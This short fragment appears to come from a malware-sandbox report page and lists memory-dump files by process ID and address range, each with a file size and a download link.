memory/2284-16-0x00000185EED80000-0x00000185EEDF6000-memory.dmp

Filesize
472KB

Download
memory/2284-15-0x00007FF884DD0000-0x00007FF8857BC000-memory.dmp

Filesize
9.9MB

Download
memory/2284-36-0x00007FF8A1910000-0x00007FF8A19BE000-memory.dmp

Filesize
696KB

Download
memory/2284-9-0x00000185EE970000-0x00000185EE992000-memory.dmp

Filesize
136KB

Download
memory/2284-145-0x00007FF884DD0000-0x00007FF8857BC000-memory.dmp

Filesize
9.9MB

Download
memory/2284-146-0x00007FF884DD0000-0x00007FF8857BC000-memory.dmp

Filesize
9.9MB

Download
memory/3432-74-0x0000000140000000-0x0000000140004000-memory.dmp

Filesize
16KB

Download
memory/3432-76-0x0000000140000000-0x0000000140004000-memory.dmp

Filesize
16KB

Download
memory/4544-81-0x0000000000400000-0x0000000000406000-memory.dmp

Filesize
24KB

Download
memory/4544-78-0x0000000000400000-0x0000000000406000-memory.dmp

Filesize
24KB

Download